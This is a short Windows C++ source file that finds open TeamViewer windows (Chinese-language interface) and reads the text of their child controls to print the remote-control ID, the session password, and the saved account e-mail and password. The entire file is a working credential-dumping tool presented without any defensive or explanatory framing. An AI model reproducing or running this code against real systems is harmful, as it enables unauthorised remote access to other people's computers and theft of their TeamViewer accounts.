#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#include <string.h>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
int status = 0;
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}
if (strstr(BufferContent, "允许远程控制") != NULL)
{
status = 1;
printf("TeamViewer ID: ");
}
if (strstr(BufferContent, "告诉你的伙伴") != NULL)
{
status = 1;
printf("TeamViewer PASS: ");
}
return 1;
}
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}
if (strstr(BufferContent, "电子邮件") != NULL)
{
status = 1;
printf("E-mail: ");
}
if (strstr(BufferContent, "密码") != NULL)
{
status = 1;
printf("Password: ");
}
return 1;
}
int main()
{
HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
}
HWND hwndAccount = FindWindow(NULL, "计算机和联系人");
if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
}
return 0;
}